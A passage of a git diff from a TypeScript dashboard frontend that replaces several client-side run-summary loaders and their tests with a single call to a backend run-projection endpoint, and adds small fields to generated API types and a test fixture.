-    resetSupervisorApiForTests();
-    vi.restoreAllMocks();
-  });
-
-  it('skips the molecule history scan, city feed, and per-rig task reads', async () => {
-    // The core active read returns ONLY the no-query (active) listBeads call —
-    // any molecule/per-rig listBeads call or formulaFeed call would mean the
-    // cheap path is still firing the expensive reads. The run carries an
-    // in-progress step in the SAME core read (no per-rig fetch on the cheap
-    // path), so the lane stays active without session enrichment.
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query && (query.type !== undefined || query.rig !== undefined)) {
-        throw new Error(`cheap path must not call listBeads with ${JSON.stringify(query)}`);
-      }
-      return beadList([
-        runRoot(),
-        bead({
-          id: 'run-1-step-1',
-          title: 'Implementation patch',
-          status: 'in_progress',
-          metadata: {
-            'gc.kind': 'step',
-            'gc.root_bead_id': 'run-1',
-            'gc.parent_bead_id': 'run-1',
-            'gc.step_id': 'implementation.patch',
-          },
-        }),
-      ]);
+      expect(state).toMatchObject({ source: 'runs', status: 'error' });
+      if (state.status === 'error') expect(state.error).toContain('warming');
     });
-    const formulaFeed = vi.fn(async () => feed([]));
-    const listSessions = vi.fn(async () => sessionList());
-    setSupervisorApiForTests({ ...baseApi, listBeads, formulaFeed, listSessions });
-
-    const source = await loadSupervisorRunSummaryActiveSource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    // The active lane is present, and its rig scope resolves from the bead's own
-    // gc.root_store_ref metadata — no feed needed.
-    expect(source.data.lanes.map((lane) => lane.id)).toEqual(['run-1']);
-    expect(source.data.lanes[0]?.scope).toMatchObject({ status: 'available', kind: 'rig' });
-    // No history reads on the cheap path.
-    expect(source.data.historicalLanes).toEqual([]);
-    expect(source.data.totalHistorical).toBe(0);
-    // The expensive reads were never issued.
-    expect(formulaFeed).not.toHaveBeenCalled();
-    expect(
-      listBeads.mock.calls.every(([, query]) => query === undefined || query.limit !== undefined),
-    ).toBe(true);
-    expect(listBeads.mock.calls.some(([, query]) => query?.type === 'molecule')).toBe(false);
-    expect(listBeads.mock.calls.some(([, query]) => query?.rig !== undefined)).toBe(false);
-  });
+  }
 });
-
-function runRoot(overrides: Partial<Bead> = {}): Bead {
-  return bead({
-    id: 'run-1',
-    title: 'Adopt PR #42',
-    issue_type: 'molecule',
-    metadata: {
-      'gc.kind': 'run',
-      'gc.formula': 'mol-adopt-pr-v2',
-      'gc.formula_contract': 'graph.v2',
-      'gc.scope_kind': 'rig',
-      'gc.scope_ref': 'rig-a',
-      'gc.root_store_ref': 'rig:rig-a',
-    },
-    ...overrides,
-  });
-}
-
-function bead(overrides: Partial<Bead> = {}): Bead {
-  return {
-    id: 'bead-1',
-    title: 'Bead',
-    issue_type: 'task',
-    status: 'open',
-    created_at: '2026-06-01T11:00:00.000Z',
-    ...overrides,
-  };
-}
-
-function beadList(items: Bead[], partial = false, nextCursor?: string): ListBodyBead {
-  return {
-    items,
-    partial,
-    total: items.length,
-    ...(nextCursor !== undefined ? { next_cursor: nextCursor } : {}),
-  };
-}
-
-function feed(items: MonitorFeedItemResponse[], partial = false): FormulaFeedBody {
-  return {
-    items,
-    partial,
-  };
-}
-
-function feedRun(overrides: Partial<MonitorFeedItemResponse> = {}): MonitorFeedItemResponse {
-  return {
-    id: 'run-1',
-    root_bead_id: 'run-1',
-    root_store_ref: 'rig:rig-a',
-    workflow_id: 'run-1',
-    scope_kind: 'rig',
-    scope_ref: 'rig-a',
-    started_at: '2026-06-01T11:00:00.000Z',
-    status: 'running',
-    target: 'rig-a/codex',
-    title: 'Adopt PR #42',
-    type: 'formula',
-    updated_at: '2026-06-01T11:05:00.000Z',
-    ...overrides,
-  };
-}
-
-function sessionList(): ListBodySessionResponse {
-  return {
-    items: [],
-    total: 0,
-  };
-}
diff --git a/internal/api/dashboardspa/web/frontend/src/supervisor/runSummary.ts b/internal/api/dashboardspa/web/frontend/src/supervisor/runSummary.ts
index 783f26d365..310beec2ae 100644
--- a/internal/api/dashboardspa/web/frontend/src/supervisor/runSummary.ts
+++ b/internal/api/dashboardspa/web/frontend/src/supervisor/runSummary.ts
@@ -1,143 +1,21 @@
-import type {
-  DashboardBead,
-  DashboardSession,
-  RunFeedScope,
-  RunFeedScopeMap,
-  RunSummary,
-  SourceAvailableState,
-  SourceState,
-} from 'gas-city-dashboard-shared';
-import {
-  advanceProgressMarks,
-  buildCensus,
-  buildRunSummary,
-  deriveRunHealth,
-  fromFeedScope,
-  fromDashboardBead,
-  fromRootMetadataScope,
-  fromStoreRef,
-  isStaleSessionlessLatch,
-  runBeadFilter,
-  runCounts,
-  SCOPE_REF_RE,
-  type LaneProgressMark,
-} from 'gas-city-dashboard-shared';
-import { activeCityOrThrow } from '../api/cityBase';
-import type { Bead, FormulaFeedBody, ListBodyBead } from 'gas-city-dashboard-shared/gc-supervisor';
-import { supervisorApiForRequestBudget } from './client';
-import { fetchCoreRead } from './coreRead';
-import { listIsIncomplete, listIsPartial } from './listPartial';
-import { normalizeSessions } from './sessionReads';
-
-// Pre-exposure load bound (gascity-dashboard-q89b): the primary in-flight
-// bead fetch refreshes on SSE bursts (10s debounce floor in the shared
-// run-summary subscription) per client. listIsIncomplete keeps truncation
-// visible in the lanes-partial signal.
-const RUNS_FETCH_LIMIT = 500;
-// gascity-dashboard-4xcv: the supervisor's bead list has no sort/recency
-// guarantee, so a small `all=true` window can drop run roots and step beads
-// arbitrarily — observed live as an empty first paint and a history list
-// missing most completed runs (a busy rig store holds hundreds of closed
-// task beads). 500 covers the largest observed store with headroom; if a
-// store outgrows it the symptom returns as silently missing lanes, so a
-// real fix beyond raising the cap means cursor pagination.
-const RECENT_RUN_FETCH_LIMIT = 500;
+import type { RunSummary, SourceAvailableState, SourceState } from 'gas-city-dashboard-shared';
+import { api } from '../api/client';
+
+// The run summary is served by one warm GET to the BFF run-projection endpoint
+// (internal/api/dashboardbff/runtailer.go): a sub-second fold of the per-city
+// event log that already layers session health/census and the monotonic
+// thrash/progress marks server-side. The four exported source loaders —
+// historically a tight "mount" read, a wide refresh, a cheap active-only SSE
+// read, and a first-paint preview — collapse to that single complete read. The
+// old client-side fold (buildRunSummary + enrichRunSummary over molecule/feed/
+// per-rig/session fan-out) is gone, and with it the cheap/wide split that only
+// existed because those scans were slow.
 const RUNS_STALE_AFTER_MS = 60 * 1000;
-// The CORE active-bead read is the one fetch whose failure blanks the whole runs
-// view (everything else degrades to `partial`). The proxy path is ~0.02s
-// normally, but the box runs at load avg ~30 under a slung-pipeline burst (the
-// supervisor reconciler alone hits ~274% CPU), and during a spike a single core
-// read occasionally crosses the old 5s budget → a first load with no last-good
-// snapshot blanks to "Run data unavailable". Raise this read's ceiling to absorb
-// a burst (the higher bound only costs time when actually slow), and retry once
-// on a transient timeout/5xx before giving up. A real outage still surfaces an
-// error after the retries are spent — the resilience only hides a brief spike,
-// never a sustained failure (upstream gascity-dashboard#88).
-const REQUIRED_RUN_SUMMARY_TIMEOUT_MS = 15_000;
-// Optional run-summary enrichment (recent-bead / formula-feed / session reads)
-// is best-effort: a miss degrades the lanes to "partial" rather than failing the
-// load. The budget is split by call site (gascity-dashboard-4bol). The preview
-// runs on first paint and blocks it, so it keeps a tight bound and the tab paints
-// fast even when the supervisor is slow. The full source runs only as the shared
-// run-summary subscription's background refreshFetcher, so it can afford a far
-// wider budget matching the 30s
-// background status samplers: on the bloated store the supervisor's list/feed
-// reads run ~10-38s (upstream gascity-dashboard#88), so a 2.5s interactive bound
-// always times out and latches a spurious "runs partial" badge. The wider refresh
-// budget lets those slow-but-available reads land and clear it, without the
-// first-paint spinner a single global raise would cause.
-const PREVIEW_ENRICHMENT_TIMEOUT_MS = 2_500;
-const REFRESH_ENRICHMENT_TIMEOUT_MS = 30_000;
-// gascity-dashboard-9rk2: the molecule(all=true) read scans the full (large,
-// ~340k-row) molecule history purely to surface HISTORICAL run roots, which the
-// view already caps at MAX_HISTORICAL_LANES (50). Live it runs ~6.8s — past the
-// 5s required-fetch budget — and the supervisor exposes no recency-ordered or
-// bounded molecule query, so it cannot be made cheaper server-side without a new
-// endpoint. It is therefore the FIRST optional read to dominate the wider refresh
-// budget. Bound it well under REQUIRED_RUN_SUMMARY_TIMEOUT_MS so a slow scan
-// degrades the historical lanes to "partial" fast instead of holding the refresh
-// (and so it can never out-wait the active set, which paints from the fast
-// open/active read). It still rides the surrounding enrichment budget too via the
-// min() at the call site, so the tight first-paint path is never loosened.
-const MOLECULE_HISTORY_TIMEOUT_MS = 3_000;
-
-interface LoadedRunBeads {
-  beads: DashboardBead[];
-  feedScopes: RunFeedScopeMap;
-  partial: boolean;
-}
-
-type RecentFetchOutcome = { ok: true; items: DashboardBead[]; partial: boolean } | { ok: false };
-
-type RunSessionsLookup =
-  | { kind: 'available'; sessions: DashboardSession[] }
-  | { kind: 'unavailable'; sessions: DashboardSession[] };
-
-interface ProgressState {
-  marks: Map<string, LaneProgressMark>;
-  fetchedAt: string;
-}
 
-const progressStateByCity = new Map<string, ProgressState>();
-
-// The wide-budget run-summary source (gascity-dashboard-4bol): the wide
-// enrichment budget lets slow-but-available list/feed reads land and clear the
-// spurious "runs partial" badge (upstream gascity-dashboard#88). It is the
-// authoritative refresh snapshot for the shared run-summary subscription
-// (runs/runSummarySubscription), which both the /runs page and the nav attention
-// badge read — so the badge counts the same genuinely-blocked runs the page
-// shows, by construction, off a single fan-out (gascity-dashboard-2j8e.7).
-//
-// Do NOT use this as a ROUTE first-paint fetcher — it can block a route view for
-// up to REFRESH_ENRICHMENT_TIMEOUT_MS; route mount consumers (Home, Formula Run
-// Detail) use loadSupervisorRunSummaryMountSource on the tight budget instead.
-// The shared subscription is exempt: it is cache-backed and the always-mounted
-// header reads its result, so its latency never blocks a route view.
-export async function loadSupervisorRunSummarySource(): Promise<SourceState<RunSummary>> {
-  return loadRunSummarySource(REFRESH_ENRICHMENT_TIMEOUT_MS);
-}
-
-// Mount / first-paint full source for Home and Formula Run Detail: the same data
-// as the refresh source (lanes + sessions) but on the tight first-paint budget,
-// so a cold navigation to those routes never blocks on slow optional enrichment
-// reads (gascity-dashboard-4bol).
-export async function loadSupervisorRunSummaryMountSource(): Promise<SourceState<RunSummary>> {
-  return loadRunSummarySource(PREVIEW_ENRICHMENT_TIMEOUT_MS);
-}
-
-async function loadRunSummarySource(enrichmentBudgetMs: number): Promise<SourceState<RunSummary>> {
-  const cityName = activeCityOrThrow('load supervisor run summary');
+async function loadRunSummarySource(): Promise<SourceState<RunSummary>> {
   const fetchedAt = new Date().toISOString();
   try {
-    const [loaded, sessions] = await Promise.all([
-      loadRunBeads(cityName, RUNS_FETCH_LIMIT, enrichmentBudgetMs),
-      loadRunSessions(cityName, enrichmentBudgetMs),
-    ]);
-    const summary = buildRunSummary(
-      loaded.beads.filter(runBeadFilter).map(fromDashboardBead),
-      loaded.feedScopes,
-      loaded.partial,
-    );
+    const summary = await api.runSummary();
     const source: SourceAvailableState<RunSummary> = {
       source: 'runs',
       status: 'fresh',
@@ -146,99 +24,7 @@ async function loadRunSummarySource(enrichmentBudgetMs: number): Promise<SourceS
       error: { kind: 'none' },
       data: summary,
     };
-    return {
-      ...source,
-      data: enrichRunSummary(cityName, source, sessions),
-    };
-  } catch (err) {
-    return {
-      source: 'runs',
-      status: 'error',
-      error: errorMessage(err, 'formula runs unavailable'),
-    };
-  }
-}
-
-// gascity-dashboard: the CHEAP SSE-refresh source. The wide source's loadRunBeads
-// fires the two expensive HISTORICAL/discovery reads (molecule(all=true) ~6.8s,
-// city formulaFeed ~10s) plus per-rig task reads on every SSE burst, saturating
-// the browser ~6-conn/host cap so the run-detail's fast workflowRun read queues
-// behind them. The active/blocked set and its scope/health/counts/census do NOT
-// need those reads: runScope takes the bead's own gc.root_store_ref/gc.scope_ref
-// metadata first (feedScopes is only a fallback), and runRigNames derives the
-// active rig set from that same per-bead metadata. So this fetches only the core
-// active read + sessions, skipping molecule + city feed + per-rig task reads.
-// historicalLanes/totalHistorical come back empty here; the subscription merges
-// them from the last wide snapshot so History is never blanked.
-export async function loadSupervisorRunSummaryActiveSource(): Promise<SourceState<RunSummary>> {
-  const cityName = activeCityOrThrow('load supervisor run summary active');
-  const fetchedAt = new Date().toISOString();
-  try {
-    const [loaded, sessions] = await Promise.all([
-      loadActiveRunBeads(cityName, RUNS_FETCH_LIMIT),
-      loadRunSessions(cityName, PREVIEW_ENRICHMENT_TIMEOUT_MS),
-    ]);
-    const summary = buildRunSummary(
-      loaded.beads.filter(runBeadFilter).map(fromDashboardBead),
-      loaded.feedScopes,
-      loaded.partial,
-    );
-    const source: SourceAvailableState<RunSummary> = {
-      source: 'runs',
-      status: 'fresh',
-      fetchedAt,
-      staleAt: new Date(Date.parse(fetchedAt) + RUNS_STALE_AFTER_MS).toISOString(),
-      error: { kind: 'none' },
-      data: summary,
-    };
-    return {
-      ...source,
-      data: enrichRunSummary(cityName, source, sessions),
-    };
-  } catch (err) {
-    return {
-      source: 'runs',
-      status: 'error',
-      error: errorMessage(err, 'formula runs unavailable'),
-    };
-  }
-}
-
-// Core active read only — no molecule history scan, no city formula feed, no
-// per-rig task reads. Truncation still reads as partial lanes. feedScopes is
-// empty: a run root whose OWN bead carries no scope metadata falls back to
-// 'unavailable' scope until the next wide refresh repairs it (minority path —
-// runScope prefers per-bead metadata).
-async function loadActiveRunBeads(cityName: string, limit: number): Promise<LoadedRunBeads> {
-  const activeList = await fetchCoreActiveBeads(cityName, limit);
-  const active = normalizeBeads(activeList.items ?? []);
-  return {
-    beads: active,
-    feedScopes: new Map(),
-    partial: listIsIncomplete(activeList, active.length),
-  };
-}
-
-export async function loadSupervisorRunSummaryPreviewSource(): Promise<SourceState<RunSummary>> {
-  const cityName = activeCityOrThrow('load supervisor run summary preview');
-  const fetchedAt = new Date().toISOString();
-  try {
-    const loaded = await loadRunBeads(cityName, RUNS_FETCH_LIMIT, PREVIEW_ENRICHMENT_TIMEOUT_MS);
-    const summary = buildRunSummary(
-      loaded.beads.filter(runBeadFilter).map(fromDashboardBead),
-      loaded.feedScopes,
-      loaded.partial,
-    );
-    return {
-      source: 'runs',
-      status: 'fresh',
-      fetchedAt,
-      staleAt: new Date(Date.parse(fetchedAt) + RUNS_STALE_AFTER_MS).toISOString(),
-      error: { kind: 'none' },
-      // First paint has no sessions yet, so no latch demotion. `lanes` carries
-      // the full active set; RunMap applies the collapsed window.
-      data: summary,
-    };
+    return source;
   } catch (err) {
     return {
       source: 'runs',
@@ -248,317 +34,28 @@ export async function loadSupervisorRunSummaryPreviewSource(): Promise<SourceSta
   }
 }
 
-export function resetSupervisorRunSummaryStateForTests(): void {
-  progressStateByCity.clear();
-}
-
-// Exposed for tests: the raised core-read budget that absorbs a CPU-burst spike.
-export const CORE_RUN_SUMMARY_TIMEOUT_MS = REQUIRED_RUN_SUMMARY_TIMEOUT_MS;
-
-function requiredRunSummaryApi() {
-  return supervisorApiForRequestBudget(REQUIRED_RUN_SUMMARY_TIMEOUT_MS);
-}
-
-// The core active-bead read, with a bounded retry on a transient failure
-// (fetchCoreRead). This is the one read whose rejection blanks the whole runs
-// view, so a brief CPU burst that times out the first attempt should not lose
-// the load; a sustained failure still propagates after the retry is spent.
-// Optional enrichment reads keep their own degrade-to-partial handling and are
-// NOT routed here.
-async function fetchCoreActiveBeads(cityName: string, limit: number): Promise<ListBodyBead> {
-  return fetchCoreRead(() => requiredRunSummaryApi().listBeads(cityName, { limit }));
-}
-
-function optionalRunSummaryApi(budgetMs: number) {
-  return supervisorApiForRequestBudget(budgetMs);
-}
-
-async function loadRunBeads(
-  cityName: string,
-  limit: number,
-  enrichmentBudgetMs: number,
-): Promise<LoadedRunBeads> {
-  // The molecule-history read gets its own tight bound (gascity-dashboard-9rk2),
-  // capped to the surrounding enrichment budget so the first-paint path is never
-  // loosened: a slow scan folds to `partial` instead of dominating the refresh.
-  const moleculeFetch = settledRecentFetch(
-    cityName,
-    {
-      limit: RECENT_RUN_FETCH_LIMIT,
-      type: 'molecule',
-      all: true,
-    },
-    Math.min(MOLECULE_HISTORY_TIMEOUT_MS, enrichmentBudgetMs),
-  );
-  const [activeList, feedDiscovery] = await Promise.all([
-    fetchCoreActiveBeads(cityName, limit),
-    discoverFromFeed(cityName, enrichmentBudgetMs),
-  ]);
-  const active = normalizeBeads(activeList.items ?? []);
-  const rigNames = unionRigNames(runRigNames(active), feedDiscovery.rigNames);
-
-  const rigFetches = rigNames.map((rig) =>
-    settledRecentFetch(
-      cityName,
-      {
-        limit: RECENT_RUN_FETCH_LIMIT,
-        type: 'task',
-        rig,
-        all: true,
-      },
-      enrichmentBudgetMs,
-    ),
-  );
-
-  const settled = await Promise.all([moleculeFetch, ...rigFetches]);
-  const recentItems: DashboardBead[] = [];
-  // Truncation at the bounded fetch reads as partial lanes, not complete
-  // (gascity-dashboard-q89b).
-  let partial = feedDiscovery.partial || listIsIncomplete(activeList, active.length);
-
-  for (const outcome of settled) {
-    if (outcome.ok) {
-      recentItems.push(...outcome.items);
-      partial ||= outcome.partial;
-      continue;
-    }
-    partial = true;
-  }
-
-  return {
-    beads: uniqueBeads([...active, ...recentItems]),
-    feedScopes: feedDiscovery.scopes,
-    partial,
-  };
-}
-
-async function settledRecentFetch(
-  cityName: string,
-  query: { limit: number; type: string; all: true; rig?: string },
-  budgetMs: number,
-): Promise<RecentFetchOutcome> {
-  try {
-    const list = await withOptionalReadBudget(
-      optionalRunSummaryApi(budgetMs).listBeads(cityName, query),
-      `recent ${query.type} beads`,
-      budgetMs,
-    );
-    return {
-      ok: true,
-      items: normalizeBeads(list.items ?? []),
-      partial: listIsPartial(list),
-    };
-  } catch {
-    return { ok: false };
-  }
-}
-
-interface FeedDiscovery {
-  rigNames: string[];
-  scopes: RunFeedScopeMap;
-  partial: boolean;
-}
-
-async function discoverFromFeed(cityName: string, budgetMs: number): Promise<FeedDiscovery> {
-  try {
-    const runs = await withOptionalReadBudget(
-      optionalRunSummaryApi(budgetMs).formulaFeed(cityName, {
-        scope_kind: 'city',
-        scope_ref: cityName,
-      }),
-      'formula feed',
-      budgetMs,
-    );
-    const rigNames = new Set<string>();
-    const scopes = new Map<string, RunFeedScope>();
-    for (const run of runs.items ?? []) {
-      if (run.type !== 'formula') continue;
-      const storeScope = fromStoreRef(run.root_store_ref ?? null);
-      if (storeScope?.scopeKind === 'rig') {
-        rigNames.add(storeScope.scopeRef);
-      }
-      const rootId = run.root_bead_id ?? run.workflow_id ?? null;
-      // gascity-dashboard-q89b (detail scope leak): the feed's top-level
-      // scope_kind is always 'city', so fromFeedScope alone makes a rig lane's
-      // detail href drop to city scope — and a city-scoped workflow fetch hits
-      // the supervisor's full-store scan (~12-14s, upstream #88) instead of the
-      // sub-second single-store rig fetch. Recover the rig from root_store_ref
-      // first (store-ref-first — deliberately the inverse of
-      // fromRootMetadataScope's pair-first rule: the metadata edge trusts its
-      // explicit pair, but the feed's pair is unreliable here, always 'city').
-      // Fall back to the feed (city) scope only when the store ref names no rig.
-      // The store ref is validated against SCOPE_REF_RE before it is emitted as
-      // a lane scope: unlike fromFeedScope/fromRootMetadataScope, fromStoreRef
-      // does not validate, so a malformed root_store_ref must fall back rather
-      // than emit a scope_ref the detail route would reject.
-      const scope =
-        storeScope?.scopeKind === 'rig' && SCOPE_REF_RE.test(storeScope.scopeRef)
-          ? storeScope
-          : fromFeedScope(run);
-      if (rootId !== null && scope !== null) {
-        scopes.set(rootId, {
-          scopeKind: scope.scopeKind,
-          scopeRef: scope.scopeRef,
-          rootStoreRef: run.root_store_ref ?? `${scope.scopeKind}:${scope.scopeRef}`,
-        });
-      }
-    }
-    return { rigNames: [...rigNames], scopes, partial: feedIsPartial(runs) };
-  } catch {
-    return { rigNames: [], scopes: new Map(), partial: true };
-  }
-}
-
-async function loadRunSessions(cityName: string, budgetMs: number): Promise<RunSessionsLookup> {
-  try {
-    const list = await withOptionalReadBudget(
-      optionalRunSummaryApi(budgetMs).listSessions(cityName),
-      'run sessions',
-      budgetMs,
-    );
-    return {
-      kind: 'available',
-      sessions: normalizeSessions(list),
-    };
-  } catch {
-    return { kind: 'unavailable', sessions: [] };
-  }
-}
-
-function enrichRunSummary(
-  cityName: string,
-  source: SourceAvailableState<RunSummary>,
-  sessionsLookup: RunSessionsLookup,
-): RunSummary {
-  // gascity-dashboard-4xcv: blocked lanes are enriched alongside active
-  // ones so they carry derived health (needsOperator) for the attention
-  // layer, then split back out — they are not part of the Active set.
-  const inFlight = [...source.data.lanes, ...source.data.blockedLanes];
-  const state = progressStateByCity.get(cityName);
-  const generationMs = Date.parse(source.fetchedAt);
-  let marks = state?.marks ?? new Map<string, LaneProgressMark>();
-  if (state === undefined || generationMs > Date.parse(state.fetchedAt)) {
-    marks = advanceProgressMarks(marks, inFlight);
-    progressStateByCity.set(cityName, { marks, fetchedAt: source.fetchedAt });
-  }
-
-  const sessionsAvailable = sessionsLookup.kind === 'available';
-  const { lanes } = deriveRunHealth({
-    lanes: inFlight,
-    sessions: sessionsLookup.sessions,
-    sessionsAvailable,
-    marks,
-  });
-
-  const blockedLanes = lanes.filter((lane) => lane.phase === 'blocked');
-  const activeEnriched = lanes.filter((lane) => lane.phase !== 'blocked');
-
-  // gascity-dashboard-s4rp: sessions only resolve here at enrichment, so this is
-  // the earliest seam with enough information to demote stale session-less
-  // latches (the gc-1920 phantom: no live session, no in_progress step, days
-  // stale) out of the Active set. buildRunSummary hands us the FULL active set
-  // (not the capped window), so totalActive is recomputed exactly from the
-  // surviving lanes — a phantom past the 8th slot is demoted too. Staleness is
-  // judged against the snapshot generation time, not a live clock, so the result
-  // is stable for a snapshot.
-  const liveActive = activeEnriched.filter(
-    (lane) => !isStaleSessionlessLatch(lane, generationMs, sessionsAvailable),
-  );
-  const census = buildCensus([...liveActive, ...blockedLanes]);
-
-  // gascity-dashboard: `lanes` carries the FULL active set; RunMap owns the
-  // collapsed window (MAX_VISIBLE_ACTIVE_LANES) and its "Show N more runs"
-  // expander, mirroring the historical section.
-  return {
-    ...source.data,
-    totalActive: liveActive.length,
-    lanes: liveActive,
-    blockedLanes,
-    runCounts: runCounts(liveActive, liveActive.length, blockedLanes.length),
-    census: { status: 'available', data: census },
-  };
-}
-
-function runRigNames(beads: readonly DashboardBead[]): string[] {
-  const names = new Set<string>();
-  for (const bead of beads) {
-    const storeScope = fromStoreRef(bead.metadata?.['gc.root_store_ref']);
-    if (storeScope?.scopeKind === 'rig') {
-      names.add(storeScope.scopeRef);
-      continue;
-    }
-
-    const metadataScope = fromRootMetadataScope(bead.metadata);
-    if (metadataScope?.scopeKind === 'rig') {
-      names.add(metadataScope.scopeRef);
-    }
-  }
-  return Array.from(names).sort();
-}
-
-function unionRigNames(a: readonly string[], b: readonly string[]): string[] {
-  const all = new Set<string>();
-  for (const name of a) all.add(name);
-  for (const name of b) all.add(name);
-  return [...all];
-}
-
-function withOptionalReadBudget<T>(
-  promise: Promise<T>,
-  label: string,
-  budgetMs: number,
-): Promise<T> {
-  let timeout: ReturnType<typeof setTimeout> | null = null;
-  const budget = new Promise<T>((_, reject) => {
-    timeout = setTimeout(() => {
-      reject(new Error(`${label} timed out after ${budgetMs}ms`));
-    }, budgetMs);
-  });
-  return Promise.race([
-    promise.finally(() => {
-      if (timeout !== null) clearTimeout(timeout);
-    }),
-    budget,
-  ]);
-}
-
-function uniqueBeads(beads: readonly DashboardBead[]): DashboardBead[] {
-  const byId = new Map<string, DashboardBead>();
-  for (const bead of beads) {
-    if (!byId.has(bead.id)) byId.set(bead.id, bead);
-  }
-  return Array.from(byId.values());
+/**
+ * The authoritative run-summary source for the shared subscription
+ * (runs/runSummarySubscription) — the snapshot the /runs page renders and the
+ * nav attention badge counts off one fetch.
+ */
+export function loadSupervisorRunSummarySource(): Promise<SourceState<RunSummary>> {
+  return loadRunSummarySource();
 }
 
-function normalizeBeads(beads: readonly Bead[]): DashboardBead[] {
-  return beads.map(normalizeBead);
+/** Mount / first-paint source for Home and Formula Run Detail. */
+export function loadSupervisorRunSummaryMountSource(): Promise<SourceState<RunSummary>> {
+  return loadRunSummarySource();
 }
 
-function normalizeBead(bead: Bead): DashboardBead {
-  const normalized: DashboardBead = {
-    id: bead.id,
-    title: bead.title,
-    status: bead.status,
-    issue_type: bead.issue_type,
-    priority: bead.priority ?? null,
-    created_at: bead.created_at,
-  };
-  if (bead.description !== undefined) normalized.description = bead.description;
-  if (bead.assignee !== undefined) normalized.assignee = bead.assignee;
-  if (Array.isArray(bead.labels)) normalized.labels = bead.labels;
-  if (bead.metadata !== undefined) normalized.metadata = bead.metadata;
-  if (bead.ref !== undefined) normalized.ref = bead.ref;
-  if (bead.parent !== undefined) normalized.parent = bead.parent;
-  if (bead.from !== undefined) normalized.from = bead.from;
-  if (bead.ephemeral !== undefined) normalized.ephemeral = bead.ephemeral;
-  if (bead.needs !== undefined) normalized.needs = bead.needs;
-  if (bead.dependencies !== undefined) normalized.dependencies = bead.dependencies;
-  if (bead.updated_at !== undefined) normalized.updated_at = bead.updated_at;
-  return normalized;
+/** Cheap SSE-burst refresh source for the shared subscription. */
+export function loadSupervisorRunSummaryActiveSource(): Promise<SourceState<RunSummary>> {
+  return loadRunSummarySource();
 }
 
-function feedIsPartial(feed: FormulaFeedBody): boolean {
-  return feed.partial === true || (feed.partial_errors?.length ?? 0) > 0;
+/** First-paint preview source for the shared subscription. */
+export function loadSupervisorRunSummaryPreviewSource(): Promise<SourceState<RunSummary>> {
+  return loadRunSummarySource();
 }
 
 function errorMessage(err: unknown, fallback: string): string {
diff --git a/internal/api/dashboardspa/web/frontend/src/test/fixtures/formula-run-detail.json b/internal/api/dashboardspa/web/frontend/src/test/fixtures/formula-run-detail.json
index 56741b2b95..cf407b4f07 100644
--- a/internal/api/dashboardspa/web/frontend/src/test/fixtures/formula-run-detail.json
+++ b/internal/api/dashboardspa/web/frontend/src/test/fixtures/formula-run-detail.json
@@ -64,7 +64,8 @@
         "completed": 2,
         "ready": 1,
         "skipped": 1
-      }
+      },
+      "terminal": false
     },
     "nodes": [
       {
diff --git a/internal/api/dashboardspa/web/shared/src/api-error.ts b/internal/api/dashboardspa/web/shared/src/api-error.ts
index 1b82a75ba9..d076eb8b5b 100644
--- a/internal/api/dashboardspa/web/shared/src/api-error.ts
+++ b/internal/api/dashboardspa/web/shared/src/api-error.ts
@@ -5,4 +5,11 @@ export interface ApiError {
   kind?: string;
   /** Optional details object — never leaks raw stderr to the browser. */
   details?: Record<string, string>;
+  /**
+   * Optional run-detail discriminator. The BFF `/runs/{id}/detail` endpoint
+   * sets this on a 422 to `'not_run_view'` (an honest list-only v1/wisp run)
+   * or `'invalid_snapshot'` (a genuine load failure) so the SPA can render the
+   * two unprocessable cases distinctly. Other endpoints leave it absent.
+   */
+  reason?: string;
 }
diff --git a/internal/api/dashboardspa/web/shared/src/generated/gc-supervisor-client/types.gen.ts b/internal/api/dashboardspa/web/shared/src/generated/gc-supervisor-client/types.gen.ts
index d99df21bc4..e999e0a040 100644
--- a/internal/api/dashboardspa/web/shared/src/generated/gc-supervisor-client/types.gen.ts
+++ b/internal/api/dashboardspa/web/shared/src/generated/gc-supervisor-client/types.gen.ts
@@ -1964,6 +1964,12 @@ export type ProviderCreateInputBody = {
      * Provider name.
      */
     name: string;
+    /**
+     * Provider option defaults (e.g. model). Keys are merged on update.
+     */
+    option_defaults?: {
+        [key: string]: string;
+    };
     /**
      * Options schema merge mode across inheritance chain.
      */
@@ -2170,6 +2176,12 @@ export type ProviderUpdateInputBody = {
     env?: {
         [key: string]: string;
     };
+    /**
+     * Provider option defaults (e.g. model). Keys are merged on update.
+     */
+    option_defaults?: {
+        [key: string]: string;
+    };
     /**
      * Options schema merge mode across inheritance chain.
      */
diff --git a/internal/api/dashboardspa/web/shared/src/generated/gc-supervisor-client/zod.gen.ts b/internal/api/dashboardspa/web/shared/src/generated/gc-supervisor-client/zod.gen.ts
index e59138b48b..8b83dbd4e9 100644
--- a/internal/api/dashboardspa/web/shared/src/generated/gc-supervisor-client/zod.gen.ts
+++ b/internal/api/dashboardspa/web/shared/src/generated/gc-supervisor-client/zod.gen.ts
@@ -965,6 +965,7 @@ export const zProviderCreateInputBody = z.object({
     display_name: z.string().optional(),
     env: z.record(z.string(), z.string()).optional(),
     name: z.string().min(1),
+    option_defaults: z.record(z.string(), z.string()).optional(),
     options_schema_merge: z.string().optional(),
     prompt_flag: z.string().optional(),
     prompt_mode: z.string().optional(),
@@ -1092,6 +1093,7 @@ export const zProviderUpdateInputBody = z.object({
     command: z.string().optional(),
     display_name: z.string().optional(),
     env: z.record(z.string(), z.string()).optional(),
+    option_defaults: z.record(z.string(), z.string()).optional(),
     options_schema_merge: z.string().optional(),
     prompt_flag: z.string().optional(),
     prompt_mode: z.string().optional(),
diff --git a/internal/api/dashboardspa/web/shared/src/index.ts b/internal/api/dashboardspa/web/shared/src/index.ts
index e4bc77e83a..3a3c744a54 100644
--- a/internal/api/dashboardspa/web/shared/src/index.ts
+++ b/internal/api/dashboardspa/web/shared/src/index.ts
@@ -12,26 +12,13 @@ export * from './session-id.js';
 export * from './work-in-flight.js';
 export type * from './viewing-as.js';
 export * from './agents/needsYou.js';
-export * from './runs/bead-fields.js';
+// The run-fold/graph-layout pipeline moved to Go (internal/runproj); the SPA is
+// a pure renderer of the RunSummary / FormulaRunDetail DTOs. Only these run
+// presentation helpers stay client-side: the blocked-runs selector, the
+// needs-operator accessor, and the active-lane window size.
 export * from './runs/blocked.js';
-export * from './runs/display-state.js';
-export * from './runs/edges.js';
-export * from './runs/enrich.js';
-export * from './runs/execution-instances.js';
-export * from './runs/execution-path.js';
-export * from './runs/formula-name.js';
-export * from './runs/formula-order.js';
-export * from './runs/formula-run.js';
